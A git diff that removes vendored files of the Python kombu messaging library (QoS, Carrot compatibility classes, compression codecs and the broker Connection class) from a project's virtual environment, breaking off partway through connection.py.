- The MainThread will be responsible for calling :meth:`update` - when necessary. If max_prefetch is set, the value will not - exceed this limit. - """ - with self._mutex: - if self.value: - new_value = self.value + max(n, 0) - if self.max_prefetch is not None and new_value > self.max_prefetch: - new_value = self.max_prefetch - self.value = new_value - return self.value - - def decrement_eventually(self, n=1): - """Decrement the value, but do not update the channels QoS. - - Note: - ---- - The MainThread will be responsible for calling :meth:`update` - when necessary. - """ - with self._mutex: - if self.value: - self.value -= n - if self.value < 1: - self.value = 1 - return self.value - - def set(self, pcount): - """Set channel prefetch_count setting.""" - if pcount != self.prev: - new_value = pcount - if pcount > PREFETCH_COUNT_MAX: - logger.warning('QoS: Disabled: prefetch_count exceeds %r', - PREFETCH_COUNT_MAX) - new_value = 0 - logger.debug('basic.qos: prefetch_count->%s', new_value) - self.callback(prefetch_count=new_value) - self.prev = pcount - return pcount - - def update(self): - """Update prefetch count with current value.""" - with self._mutex: - return self.set(self.value) diff --git a/venv/Lib/site-packages/kombu/compat.py b/venv/Lib/site-packages/kombu/compat.py deleted file mode 100644 index d90aec757308529eb6105e3d26f6390051156e87..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/compat.py +++ /dev/null @@ -1,227 +0,0 @@ -"""Carrot compatibility interface. - -See https://pypi.org/project/carrot/ for documentation. -""" - -from __future__ import annotations - -from itertools import count -from typing import TYPE_CHECKING - -from . import messaging -from .entity import Exchange, Queue - -if TYPE_CHECKING: - from types import TracebackType - -__all__ = ('Publisher', 'Consumer') - -# XXX compat attribute -entry_to_queue = Queue.from_dict - - -def _iterconsume(connection, consumer, no_ack=False, limit=None): - consumer.consume(no_ack=no_ack) - for iteration in count(0): # for infinity - if limit and iteration >= limit: - break - yield connection.drain_events() - - -class Publisher(messaging.Producer): - """Carrot compatible producer.""" - - exchange = '' - exchange_type = 'direct' - routing_key = '' - durable = True - auto_delete = False - _closed = False - - def __init__(self, connection, exchange=None, routing_key=None, - exchange_type=None, durable=None, auto_delete=None, - channel=None, **kwargs): - if channel: - connection = channel - - self.exchange = exchange or self.exchange - self.exchange_type = exchange_type or self.exchange_type - self.routing_key = routing_key or self.routing_key - - if auto_delete is not None: - self.auto_delete = auto_delete - if durable is not None: - self.durable = durable - - if not isinstance(self.exchange, Exchange): - self.exchange = Exchange(name=self.exchange, - type=self.exchange_type, - routing_key=self.routing_key, - auto_delete=self.auto_delete, - durable=self.durable) - super().__init__(connection, self.exchange, **kwargs) - - def send(self, *args, **kwargs): - return self.publish(*args, **kwargs) - - def close(self): - super().close() - self._closed = True - - def __enter__(self): - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - self.close() - - @property - def backend(self): - return self.channel - - -class Consumer(messaging.Consumer): - """Carrot compatible consumer.""" - - queue = '' - exchange = '' - routing_key = '' - exchange_type = 'direct' - durable = True - exclusive = False - auto_delete = False - _closed = False - - def __init__(self, connection, queue=None, exchange=None, - routing_key=None, exchange_type=None, durable=None, - exclusive=None, auto_delete=None, **kwargs): - self.backend = connection.channel() - - if durable is not None: - self.durable = durable - if exclusive is not None: - self.exclusive = exclusive - if auto_delete is not None: - self.auto_delete = auto_delete - - self.queue = queue or self.queue - self.exchange = exchange or self.exchange - self.exchange_type = exchange_type or self.exchange_type - self.routing_key = routing_key or self.routing_key - - exchange = Exchange(self.exchange, - type=self.exchange_type, - routing_key=self.routing_key, - auto_delete=self.auto_delete, - durable=self.durable) - queue = Queue(self.queue, - exchange=exchange, - routing_key=self.routing_key, - durable=self.durable, - exclusive=self.exclusive, - auto_delete=self.auto_delete) - super().__init__(self.backend, queue, **kwargs) - - def revive(self, channel): - self.backend = channel - super().revive(channel) - - def close(self): - self.cancel() - self.backend.close() - self._closed = True - - def __enter__(self): - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - self.close() - - def __iter__(self): - return self.iterqueue(infinite=True) - - def fetch(self, no_ack=None, enable_callbacks=False): - if no_ack is None: - no_ack = self.no_ack - message = self.queues[0].get(no_ack) - if message: - if enable_callbacks: - self.receive(message.payload, message) - return message - - def process_next(self): - raise NotImplementedError('Use fetch(enable_callbacks=True)') - - def discard_all(self, filterfunc=None): - if filterfunc is not None: - raise NotImplementedError( - 'discard_all does not implement filters') - return self.purge() - - def iterconsume(self, limit=None, no_ack=None): - return _iterconsume(self.connection, self, no_ack, limit) - - def wait(self, limit=None): - it = self.iterconsume(limit) - return list(it) - - def iterqueue(self, limit=None, infinite=False): - for items_since_start in count(): # for infinity - item = self.fetch() - if (not infinite and item is None) or \ - (limit and items_since_start >= limit): - break - yield item - - -class ConsumerSet(messaging.Consumer): - - def __init__(self, connection, from_dict=None, consumers=None, - channel=None, **kwargs): - if channel: - self._provided_channel = True - self.backend = channel - else: - self._provided_channel = False - self.backend = connection.channel() - - queues = [] - if consumers: - for consumer in consumers: - queues.extend(consumer.queues) - if from_dict: - for queue_name, queue_options in from_dict.items(): - queues.append(Queue.from_dict(queue_name, **queue_options)) - - super().__init__(self.backend, queues, **kwargs) - - def iterconsume(self, limit=None, no_ack=False): - return _iterconsume(self.connection, self, no_ack, limit) - - def discard_all(self): - return self.purge() - - def add_consumer_from_dict(self, queue, **options): - return self.add_queue(Queue.from_dict(queue, **options)) - - def add_consumer(self, consumer): - for queue in consumer.queues: - self.add_queue(queue) - - def revive(self, channel): - self.backend = channel - super().revive(channel) - - def close(self): - self.cancel() - if not self._provided_channel: - self.channel.close() diff --git a/venv/Lib/site-packages/kombu/compression.py b/venv/Lib/site-packages/kombu/compression.py deleted file mode 100644 index 2c1c8591f49b65f122898a335f932679dcd8ad0b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/compression.py +++ /dev/null @@ -1,121 +0,0 @@ -"""Compression utilities.""" - -from __future__ import annotations - -import zlib - -from kombu.utils.encoding import ensure_bytes - -_aliases = {} -_encoders = {} -_decoders = {} - -__all__ = ('register', 'encoders', 'get_encoder', - 'get_decoder', 'compress', 'decompress') - - -def register(encoder, decoder, content_type, aliases=None): - """Register new compression method. - - Arguments: - --------- - encoder (Callable): Function used to compress text. - decoder (Callable): Function used to decompress previously - compressed text. - content_type (str): The mime type this compression method - identifies as. - aliases (Sequence[str]): A list of names to associate with - this compression method. - """ - _encoders[content_type] = encoder - _decoders[content_type] = decoder - if aliases: - _aliases.update((alias, content_type) for alias in aliases) - - -def encoders(): - """Return a list of available compression methods.""" - return list(_encoders) - - -def get_encoder(t): - """Get encoder by alias name.""" - t = _aliases.get(t, t) - return _encoders[t], t - - -def get_decoder(t): - """Get decoder by alias name.""" - return _decoders[_aliases.get(t, t)] - - -def compress(body, content_type): - """Compress text. - - Arguments: - --------- - body (AnyStr): The text to compress. - content_type (str): mime-type of compression method to use. - """ - encoder, content_type = get_encoder(content_type) - return encoder(ensure_bytes(body)), content_type - - -def decompress(body, content_type): - """Decompress compressed text. - - Arguments: - --------- - body (AnyStr): Previously compressed text to uncompress. - content_type (str): mime-type of compression method used. - """ - return get_decoder(content_type)(body) - - -register(zlib.compress, - zlib.decompress, - 'application/x-gzip', aliases=['gzip', 'zlib']) - -try: - import bz2 -except ImportError: # pragma: no cover - pass # No bz2 support -else: - register(bz2.compress, - bz2.decompress, - 'application/x-bz2', aliases=['bzip2', 'bzip']) - -try: - import brotli -except ImportError: # pragma: no cover - pass -else: - register(brotli.compress, - brotli.decompress, - 'application/x-brotli', aliases=['brotli']) - -try: - import lzma -except ImportError: # pragma: no cover - pass # no lzma support -else: - register(lzma.compress, - lzma.decompress, - 'application/x-lzma', aliases=['lzma', 'xz']) - -try: - import zstandard as zstd -except ImportError: # pragma: no cover - pass -else: - def zstd_compress(body): - c = zstd.ZstdCompressor() - return c.compress(body) - - def zstd_decompress(body): - d = zstd.ZstdDecompressor() - return d.decompress(body) - - register(zstd_compress, - zstd_decompress, - 'application/zstd', aliases=['zstd', 'zstandard']) diff --git a/venv/Lib/site-packages/kombu/connection.py b/venv/Lib/site-packages/kombu/connection.py deleted file mode 100644 index 4a7041a2ccc51fafde70a3cea53e93997f590e11..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/connection.py +++ /dev/null @@ -1,1144 +0,0 @@ -"""Client (Connection).""" - -from __future__ import annotations - -import os -import socket -import sys -from contextlib import contextmanager -from itertools import count, cycle -from operator import itemgetter -from typing import TYPE_CHECKING, Any - -try: - from ssl import CERT_NONE - ssl_available = True -except ImportError: # pragma: no cover - CERT_NONE = None - ssl_available = False - - -# jython breaks on relative import for .exceptions for some reason -# (Issue #112) -from kombu import exceptions - -from .log import get_logger -from .resource import Resource -from .transport import get_transport_cls, supports_librabbitmq -from .utils.collections import HashedSeq -from .utils.functional import dictfilter, lazy, retry_over_time, shufflecycle -from .utils.objects import cached_property -from .utils.url import as_url, maybe_sanitize_url, parse_url, quote, urlparse - -if TYPE_CHECKING: - from kombu.transport.virtual import Channel - - if sys.version_info < (3, 10): - from typing_extensions import TypeGuard - else: - from typing import TypeGuard - - from types import TracebackType - -__all__ = ('Connection', 'ConnectionPool', 'ChannelPool') - -logger = get_logger(__name__) - -roundrobin_failover = cycle - -resolve_aliases = { - 'pyamqp': 'amqp', - 'librabbitmq': 'amqp', -} - -failover_strategies = { - 'round-robin': roundrobin_failover, - 'shuffle': shufflecycle, -} - -_log_connection = os.environ.get('KOMBU_LOG_CONNECTION', False) -_log_channel = os.environ.get('KOMBU_LOG_CHANNEL', False) - - -class Connection: - """A connection to the broker. - - Example: - ------- - >>> Connection('amqp://guest:guest@localhost:5672//') - >>> Connection('amqp://foo;amqp://bar', - ... failover_strategy='round-robin') - >>> Connection('redis://', transport_options={ - ... 'visibility_timeout': 3000, - ... }) - - >>> import ssl - >>> Connection('amqp://', login_method='EXTERNAL', ssl={ - ... 'ca_certs': '/etc/pki/tls/certs/something.crt', - ... 'keyfile': '/etc/something/system.key', - ... 'certfile': '/etc/something/system.cert', - ... 'cert_reqs': ssl.CERT_REQUIRED, - ... }) - - Note: - ---- - SSL currently only works with the py-amqp, qpid and redis - transports. For other transports you can use stunnel. - - Arguments: - --------- - URL (str, Sequence): Broker URL, or a list of URLs. - - Keyword Arguments: - ----------------- - ssl (bool/dict): Use SSL to connect to the server. - Default is ``False``. - May not be supported by the specified transport. - transport (Transport): Default transport if not specified in the URL. - connect_timeout (float): Timeout in seconds for connecting to the - server. May not be supported by the specified transport. - transport_options (Dict): A dict of additional connection arguments to - pass to alternate kombu channel implementations. Consult the - transport documentation for available options. - heartbeat (float): Heartbeat interval in int/float seconds. - Note that if heartbeats are enabled then the - :meth:`heartbeat_check` method must be called regularly, - around once per second. - - Note: - ---- - The connection is established lazily when needed. If you need the - connection to be established, then force it by calling - :meth:`connect`:: - - >>> conn = Connection('amqp://') - >>> conn.connect() - - and always remember to close the connection:: - - >>> conn.release() - - These options have been replaced by the URL argument, but are still - supported for backwards compatibility: - - :keyword hostname: Host name/address. - NOTE: You cannot specify both the URL argument and use the hostname - keyword argument at the same time. - :keyword userid: Default user name if not provided in the URL. - :keyword password: Default password if not provided in the URL. - :keyword virtual_host: Default virtual host if not provided in the URL. - :keyword port: Default port if not provided in the URL. - """ - - port = None - virtual_host = '/' - connect_timeout = 5 - - _closed = None - _connection = None - _default_channel = None - _transport = None - _logger = False - uri_prefix = None - - #: The cache of declared entities is per connection, - #: in case the server loses data. - declared_entities = None - - #: Iterator returning the next broker URL to try in the event - #: of connection failure (initialized by :attr:`failover_strategy`). - cycle = None - - #: Additional transport specific options, - #: passed on to the transport instance. - transport_options = None - - #: Strategy used to select new hosts when reconnecting after connection - #: failure. One of "round-robin", "shuffle" or any custom iterator - #: constantly yielding new URLs to try. - failover_strategy = 'round-robin' - - #: Heartbeat value, currently only supported by the py-amqp transport. - heartbeat = None - - resolve_aliases = resolve_aliases - failover_strategies = failover_strategies - - hostname = userid = password = ssl = login_method = None - - def __init__(self, hostname='localhost', userid=None, - password=None, virtual_host=None, port=None, insist=False, - ssl=False, transport=None, connect_timeout=5, - transport_options=None, login_method=None, uri_prefix=None, - heartbeat=0, failover_strategy='round-robin', - alternates=None, credential_provider=None, **kwargs): - alt = [] if alternates is None else alternates - # have to spell the args out, just to get nice docstrings :( - params = self._initial_params = { - 'hostname': hostname, 'userid': userid, - 'password': password, 'virtual_host': virtual_host, - 'port': port, 'insist': insist, 'ssl': ssl, - 'transport': transport, 'connect_timeout': connect_timeout, - 'login_method': login_method, 'heartbeat': heartbeat, - 'credential_provider': credential_provider - } - - if hostname and not isinstance(hostname, str): - alt.extend(hostname) - hostname = alt[0] - params.update(hostname=hostname) - if hostname: - if ';' in hostname: - alt = hostname.split(';') + alt - hostname = alt[0] - params.update(hostname=hostname) - if '://' in hostname and '+' in hostname[:hostname.index('://')]: - # e.g. sqla+mysql://root:masterkey@localhost/ - params['transport'], params['hostname'] = \ - hostname.split('+', 1) - self.uri_prefix = params['transport'] - elif '://' in hostname: - transport = transport or urlparse(hostname).scheme - if not get_transport_cls(transport).can_parse_url: - # we must parse the URL - url_params = parse_url(hostname) - params.update( - dictfilter(url_params), - hostname=url_params['hostname'], - ) - - params['transport'] = transport - - self._init_params(**params) - - # fallback hosts - self.alt = alt - # keep text representation for .info - # only temporary solution as this won't work when - # passing a custom object (Issue celery/celery#3320). - self._failover_strategy = failover_strategy or 'round-robin' - self.failover_strategy = self.failover_strategies.get( - self._failover_strategy) or self._failover_strategy - if self.alt: - self.cycle = self.failover_strategy(self.alt) - next(self.cycle) # skip first entry - - if transport_options is None: - transport_options = {} - self.transport_options = transport_options - - if _log_connection: # pragma: no cover - self._logger = True - - if uri_prefix: - self.uri_prefix = uri_prefix - - self.declared_entities = set() - - def switch(self, conn_str): - """Switch connection parameters to use a new URL or hostname. - - Note: - ---- - Does not reconnect! - - Arguments: - --------- - conn_str (str): either a hostname or URL. - """ - self.close() - self.declared_entities.clear() - self._closed = False - conn_params = ( - parse_url(conn_str) if "://" in conn_str else {"hostname": conn_str} - ) - self._init_params(**dict(self._initial_params, **conn_params)) - - def maybe_switch_next(self): - """Switch to next URL given by the current failover strategy.""" - if self.cycle: - self.switch(next(self.cycle)) - - def _init_params(self, hostname, userid, password, virtual_host, port, - insist, ssl, transport, connect_timeout, - login_method, heartbeat, credential_provider): - transport = transport or 'amqp' - if transport == 'amqp' and supports_librabbitmq(): - transport = 'librabbitmq' - if transport == 'rediss' and ssl_available and not ssl: - logger.warning( - 'Secure redis scheme specified (rediss) with no ssl ' - 'options, defaulting to insecure SSL behaviour.' - ) - ssl = {'ssl_cert_reqs': CERT_NONE} - self.hostname = hostname - self.userid = userid - self.password = password - self.login_method = login_method - self.virtual_host = virtual_host or self.virtual_host - self.port = port or self.port - self.insist = insist - self.connect_timeout = connect_timeout - self.ssl = ssl - self.transport_cls = transport - self.heartbeat = heartbeat and float(heartbeat) - self.credential_provider = credential_provider - - def register_with_event_loop(self, loop): - self.transport.register_with_event_loop(self.connection, loop) - - def _debug(self, msg, *args, **kwargs): - if self._logger: # pragma: no cover - fmt = '[Kombu connection:{id:#x}] {msg}' - logger.debug(fmt.format(id=id(self), msg=str(msg)), - *args, **kwargs) - - def connect(self): - """Establish connection to server immediately.""" - return self._ensure_connection( - max_retries=1, reraise_as_library_errors=False - ) - - def channel(self): - """Create and return a new channel.""" - self._debug('create channel') - chan = self.transport.create_channel(self.connection) - if _log_channel: # pragma: no cover - from .utils.debug import Logwrapped - return Logwrapped(chan, 'kombu.channel', - '[Kombu channel:{0.channel_id}] ') - return chan - - def heartbeat_check(self, rate=2): - """Check heartbeats. - - Allow the transport to perform any periodic tasks - required to make heartbeats work. This should be called - approximately every second. - - If the current transport does not support heartbeats then - this is a noop operation. - - Arguments: - --------- - rate (int): Rate is how often the tick is called - compared to the actual heartbeat value. E.g. if - the heartbeat is set to 3 seconds, and the tick - is called every 3 / 2 seconds, then the rate is 2. - This value is currently unused by any transports. - """ - return self.transport.heartbeat_check(self.connection, rate=rate) - - def drain_events(self, **kwargs): - """Wait for a single event from the server. - - Arguments: - --------- - timeout (float): Timeout in seconds before we give up. - - Raises - ------ - socket.timeout: if the timeout is exceeded. - """ - return self.transport.drain_events(self.connection, **kwargs) - - def maybe_close_channel(self, channel): - """Close given channel, but ignore connection and channel errors.""" - try: - channel.close() - except (self.connection_errors + self.channel_errors): - pass - - def _do_close_self(self): - # Close only connection and channel(s), but not transport. - self.declared_entities.clear() - if self._default_channel: - self.maybe_close_channel(self._default_channel) - if self._connection: - try: - self.transport.close_connection(self._connection) - except self.connection_errors + (AttributeError, socket.error): - pass - self._connection = None - - def _close(self): - """Really close connection, even if part of a connection pool.""" - self._do_close_self() - self._do_close_transport() - self._debug('closed') - self._closed = True - - def _do_close_transport(self): - if self._transport: - self._transport.client = None - self._transport = None - - def collect(self, socket_timeout=None): - # amqp requires communication to close, we don't need that just - # to clear out references, Transport._collect can also be implemented - # by other transports that want fast after fork - try: - gc_transport = self._transport._collect - except AttributeError: - _timeo = socket.getdefaulttimeout() - socket.setdefaulttimeout(socket_timeout) - try: - self._do_close_self() - except socket.timeout: - pass - finally: - socket.setdefaulttimeout(_timeo) - else: - gc_transport(self._connection) - - self._do_close_transport() - self.declared_entities.clear() - self._connection = None - - def release(self): - """Close the connection (if open).""" - self._close() - close = release - - def ensure_connection(self, *args, **kwargs): - """Public interface of _ensure_connection for retro-compatibility. - - Returns kombu.Connection instance. - """ - self._ensure_connection(*args, **kwargs) - return self - - def _ensure_connection( - self, errback=None, max_retries=None, - interval_start=2, interval_step=2, interval_max=30, - callback=None, reraise_as_library_errors=True, - timeout=None - ): - """Ensure we have a connection to the server. - - If not retry establishing the connection with the settings - specified. - - Arguments: - --------- - errback (Callable): Optional callback called each time the - connection can't be established. Arguments provided are - the exception raised and the interval that will be - slept ``(exc, interval)``. - - max_retries (int): Maximum number of times to retry. - If this limit is exceeded the connection error - will be re-raised. - - interval_start (float): The number of seconds we start - sleeping for. - interval_step (float): How many seconds added to the interval - for each retry. - interval_max (float): Maximum number of seconds to sleep between - each retry. - callback (Callable): Optional callback that is called for every - internal iteration (1 s). - timeout (int): Maximum amount of time in seconds to spend - attempting to connect, total over all retries. - """ - if self.connected: - return self._connection - - def on_error(exc, intervals, retries, interval=0): - round = self.completes_cycle(retries) - if round: - interval = next(intervals) - if errback: - errback(exc, interval) - self.maybe_switch_next() # select next host - - return interval if round else 0 - - ctx = self._reraise_as_library_errors - if not reraise_as_library_errors: - ctx = self._dummy_context - with ctx(): - return retry_over_time( - self._connection_factory, self.recoverable_connection_errors, - (), {}, on_error, max_retries, - interval_start, interval_step, interval_max, - callback, timeout=timeout - ) - - @contextmanager - def _reraise_as_library_errors( - self, - ConnectionError=exceptions.OperationalError, - ChannelError=exceptions.OperationalError): - try: - yield - except (ConnectionError, ChannelError): - raise - except self.recoverable_connection_errors as exc: - raise ConnectionError(str(exc)) from exc - except self.recoverable_channel_errors as exc: - raise ChannelError(str(exc)) from exc - - @contextmanager - def _dummy_context(self): - yield - - def completes_cycle(self, retries): - """Return true if the cycle is complete after number of `retries`.""" - return not (retries + 1) % len(self.alt) if self.alt else True - - def revive(self, new_channel): - """Revive connection after connection re-established.""" - if self._default_channel and new_channel is not self._default_channel: - self.maybe_close_channel(self._default_channel) - self._default_channel = None - - def ensure(self, obj, fun, errback=None, max_retries=None, - interval_start=1, interval_step=1, interval_max=1, - on_revive=None, retry_errors=None): - """Ensure operation completes. - - Regardless of any channel/connection errors occurring. - - Retries by establishing the connection, and reapplying - the function. - - Arguments: - --------- - obj: The object to ensure an action on. - fun (Callable): Method to apply. - - errback (Callable): Optional callback called each time the - connection can't be established. Arguments provided are - the exception raised and the interval that will - be slept ``(exc, interval)``. - - max_retries (int): Maximum number of times to retry. - If this limit is exceeded the connection error - will be re-raised. - - interval_start (float): The number of seconds we start - sleeping for. - interval_step (float): How many seconds added to the interval - for each retry. - interval_max (float): Maximum number of seconds to sleep between - each retry. - on_revive (Callable): Optional callback called whenever - revival completes successfully - retry_errors (tuple): Optional list of errors to retry on - regardless of the connection state. - - Examples - -------- - >>> from kombu import Connection, Producer - >>> conn = Connection('amqp://') - >>> producer = Producer(conn) - - >>> def errback(exc, interval): - ... logger.error('Error: %r', exc, exc_info=1) - ... logger.info('Retry in %s seconds.', interval) - - >>> publish = conn.ensure(producer, producer.publish, - ... errback=errback, max_retries=3) - >>> publish({'hello': 'world'}, routing_key='dest') - """ - if retry_errors is None: - retry_errors = tuple() - - def _ensured(*args, **kwargs): - got_connection = 0 - conn_errors = self.recoverable_connection_errors - chan_errors = self.recoverable_channel_errors - has_modern_errors = hasattr( - self.transport, 'recoverable_connection_errors', - ) - with self._reraise_as_library_errors(): - for retries in count(0): # for infinity - try: - return fun(*args, **kwargs) - except retry_errors as exc: - if max_retries is not None and retries >= max_retries: - raise - self._debug('ensure retry policy error: %r', - exc, exc_info=1) - except conn_errors as exc: - if got_connection and not has_modern_errors: - # transport can not distinguish between - # recoverable/irrecoverable errors, so we propagate - # the error if it persists after a new connection - # was successfully established. - raise - if max_retries is not None and retries >= max_retries: - raise - self._debug('ensure connection error: %r', - exc, exc_info=1) - self.collect() - errback and errback(exc, 0) - remaining_retries = None - if max_retries is not None: - remaining_retries = max(max_retries - retries, 1) - self._ensure_connection( - errback, - remaining_retries, - interval_start, interval_step, interval_max, - reraise_as_library_errors=False, - ) - channel = self.default_channel - obj.revive(channel) - if on_revive: - on_revive(channel) - got_connection += 1 - except chan_errors as exc: - if max_retries is not None and retries > max_retries: - raise - self._debug('ensure channel error: %r', - exc, exc_info=1) - errback and errback(exc, 0) - _ensured.__name__ = f'{fun.__name__}(ensured)' - _ensured.__doc__ = fun.__doc__ - _ensured.__module__ = fun.__module__ - return _ensured - - def autoretry(self, fun, channel=None, **ensure_options): - """Decorator for functions supporting a ``channel`` keyword argument. - - The resulting callable will retry calling the function if - it raises connection or channel related errors. - The return value will be a tuple of ``(retval, last_created_channel)``. - - If a ``channel`` is not provided, then one will be automatically - acquired (remember to close it afterwards). - - See Also - -------- - :meth:`ensure` for the full list of supported keyword arguments. - - Example: - ------- - >>> channel = connection.channel() - >>> try: - ... ret, channel = connection.autoretry( - ... publish_messages, channel) - ... finally: - ... channel.close() - """ - channels = [channel] - - class Revival: - __name__ = getattr(fun, '__name__', None) - __module__ = getattr(fun, '__module__', None) - __doc__ = getattr(fun, '__doc__', None) - - def __init__(self, connection): - self.connection = connection - - def revive(self, channel): - channels[0] = channel - - def __call__(self, *args, **kwargs): - if channels[0] is None: - self.revive(self.connection.default_channel) - return fun(*args, channel=channels[0], **kwargs), channels[0] - - revive = Revival(self) - return self.ensure(revive, revive, **ensure_options) - - def create_transport(self): - return self.get_transport_cls()(client=self) - - def get_transport_cls(self): - """Get the currently used transport class.""" - transport_cls = self.transport_cls - if not transport_cls or isinstance(transport_cls, str): - transport_cls = get_transport_cls(transport_cls) - return transport_cls - - def clone(self, **kwargs): - """Create a copy of the connection with same settings.""" - return self.__class__(**dict(self._info(resolve=False), **kwargs)) - - def get_heartbeat_interval(self): - return self.transport.get_heartbeat_interval(self.connection) - - def _info(self, resolve=True): - transport_cls = self.transport_cls - if resolve: - transport_cls = self.resolve_aliases.get( - transport_cls, transport_cls) - D = self.transport.default_connection_params - - if not self.hostname and D.get('hostname'): - logger.warning( - "No hostname was supplied. " - f"Reverting to default '{D.get('hostname')}'") - hostname = D.get('hostname') - else: - hostname = self.hostname - - if self.uri_prefix: - hostname = f'{self.uri_prefix}+{hostname}' - - info = ( - ('hostname', hostname), - ('userid', self.userid or D.get('userid')), - ('password', self.password or D.get('password')), - ('virtual_host', self.virtual_host or D.get('virtual_host')), - ('port', self.port or D.get('port')), - ('insist', self.insist), - ('ssl', self.ssl), - ('transport', transport_cls), - ('connect_timeout', self.connect_timeout), - ('transport_options', self.transport_options), - ('login_method', self.login_method or D.get('login_method')), - ('uri_prefix', self.uri_prefix), - ('heartbeat', self.heartbeat), - ('failover_strategy', self._failover_strategy), - ('alternates', self.alt), - ('credential_provider', self.credential_provider), - ) - return info - - def info(self): - """Get connection info.""" - return dict(self._info()) - - def __eqhash__(self): - return HashedSeq(self.transport_cls, self.hostname, self.userid, - self.password, self.virtual_host, self.port, - repr(self.transport_options)) - - def as_uri(self, include_password=False, mask='**', - getfields=itemgetter('port', 'userid', 'password', - 'virtual_host', 'transport')) -> str: - """Convert connection parameters to URL form.""" - hostname = self.hostname or 'localhost' - if self.transport.can_parse_url: - connection_as_uri = self.hostname - try: - return self.transport.as_uri( - connection_as_uri, include_password, mask) - except NotImplementedError: - pass - - if self.uri_prefix: - connection_as_uri = f'{self.uri_prefix}+{hostname}' - if not include_password: - connection_as_uri = maybe_sanitize_url(connection_as_uri) - return connection_as_uri - if self.uri_prefix: - connection_as_uri = f'{self.uri_prefix}+{hostname}' - if not include_password: - connection_as_uri = maybe_sanitize_url(connection_as_uri) - return connection_as_uri - fields = self.info() - port, userid, password, vhost, transport = getfields(fields) - - return as_url( - transport, hostname, port, userid, password, quote(vhost), - sanitize=not include_password, mask=mask, - ) - - def Pool(self, limit=None, **kwargs): - """Pool of connections. - - See Also - -------- - :class:`ConnectionPool`. - - Arguments: - --------- - limit (int): Maximum number of active connections. - Default is no limit. - - Example: - ------- - >>> connection = Connection('amqp://') - >>> pool = connection.Pool(2) - >>> c1 = pool.acquire() - >>> c2 = pool.acquire() - >>> c3 = pool.acquire() - Traceback (most recent call last): - File "", line 1, in - File "kombu/connection.py", line 354, in acquire - raise ConnectionLimitExceeded(self.limit) - kombu.exceptions.ConnectionLimitExceeded: 2 - >>> c1.release() - >>> c3 = pool.acquire() - """ - return ConnectionPool(self, limit, **kwargs) - - def ChannelPool(self, limit=None, **kwargs): - """Pool of channels. - - See Also - -------- - :class:`ChannelPool`. - - Arguments: - --------- - limit (int): Maximum number of active channels. - Default is no limit. - - Example: - ------- - >>> connection = Connection('amqp://') - >>> pool = connection.ChannelPool(2) - >>> c1 = pool.acquire() - >>> c2 = pool.acquire() - >>> c3 = pool.acquire() - Traceback (most recent call last): - File "", line 1, in - File "kombu/connection.py", line 354, in acquire - raise ChannelLimitExceeded(self.limit) - kombu.connection.ChannelLimitExceeded: 2 - >>> c1.release() - >>> c3 = pool.acquire() - """ - return ChannelPool(self, limit, **kwargs) - - def Producer(self, channel=None, *args, **kwargs): - """Create new :class:`kombu.Producer` instance.""" - from .messaging import Producer - return Producer(channel or self, *args, **kwargs) - - def Consumer(self, queues=None, channel=None, *args, **kwargs): - """Create new :class:`kombu.Consumer` instance.""" - from .messaging import Consumer - return Consumer(channel or self, queues, *args, **kwargs) - - def SimpleQueue(self, name, no_ack=None, queue_opts=None, - queue_args=None, - exchange_opts=None, channel=None, **kwargs): - """Simple persistent queue API. - - Create new :class:`~kombu.simple.SimpleQueue`, using a channel - from this connection. - - If ``name`` is a string, a queue and exchange will be automatically - created using that name as the name of the queue and exchange, - also it will be used as the default routing key. - - Arguments: - --------- - name (str, kombu.Queue): Name of the queue/or a queue. - no_ack (bool): Disable acknowledgments. Default is false. - queue_opts (Dict): Additional keyword arguments passed to the - constructor of the automatically created :class:`~kombu.Queue`. - queue_args (Dict): Additional keyword arguments passed to the - constructor of the automatically created :class:`~kombu.Queue` - for setting implementation extensions (e.g., in RabbitMQ). - exchange_opts (Dict): Additional keyword arguments passed to the - constructor of the automatically created - :class:`~kombu.Exchange`. - channel (ChannelT): Custom channel to use. If not specified the - connection default channel is used. - """ - from .simple import SimpleQueue - return SimpleQueue(channel or self, name, no_ack, queue_opts, - queue_args, - exchange_opts, **kwargs) - - def SimpleBuffer(self, name, no_ack=None, queue_opts=None, - queue_args=None, - exchange_opts=None, channel=None, **kwargs): - """Simple ephemeral queue API. - - Create new :class:`~kombu.simple.SimpleQueue` using a channel - from this connection. - - See Also - -------- - Same as :meth:`SimpleQueue`, but configured with buffering - semantics. The resulting queue and exchange will not be durable, - also auto delete is enabled. Messages will be transient (not - persistent), and acknowledgments are disabled (``no_ack``). - """ - from .simple import SimpleBuffer - return SimpleBuffer(channel or self, name, no_ack, queue_opts, - queue_args, - exchange_opts, **kwargs) - - def _establish_connection(self): - self._debug('establishing connection...') - conn = self.transport.establish_connection() - self._debug('connection established: %r', self) - return conn - - def supports_exchange_type(self, exchange_type): - return exchange_type in self.transport.implements.exchange_type - - def __repr__(self): - return f'' - - def __copy__(self): - return self.clone() - - def __reduce__(self): - return self.__class__, tuple(self.info().values()), None - - def __enter__(self): - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - self.release() - - @property - def qos_semantics_matches_spec(self): - return self.transport.qos_semantics_matches_spec(self.connection) - - def _extract_failover_opts(self): - conn_opts = {'timeout': self.connect_timeout} - transport_opts = self.transport_options - if transport_opts: - if 'max_retries' in transport_opts: - conn_opts['max_retries'] = transport_opts['max_retries'] - if 'interval_start' in transport_opts: - conn_opts['interval_start'] = transport_opts['interval_start'] - if 'interval_step' in transport_opts: - conn_opts['interval_step'] = transport_opts['interval_step'] - if 'interval_max' in transport_opts: - conn_opts['interval_max'] = transport_opts['interval_max'] - if 'connect_retries_timeout' in transport_opts: - conn_opts['timeout'] = \ - transport_opts['connect_retries_timeout'] - if 'errback' in transport_opts: - conn_opts['errback'] = transport_opts['errback'] - if 'callback' in transport_opts: - conn_opts['callback'] = transport_opts['callback'] - return conn_opts - - @property - def connected(self): - """Return true if the connection has been established.""" - return (not self._closed and - self._connection is not None and - self.transport.verify_connection(self._connection)) - - @property - def connection(self): - """The underlying connection object. - - Warning: - ------- - This instance is transport specific, so do not - depend on the interface of this object. - """ - if not self._closed: - if not self.connected: - return 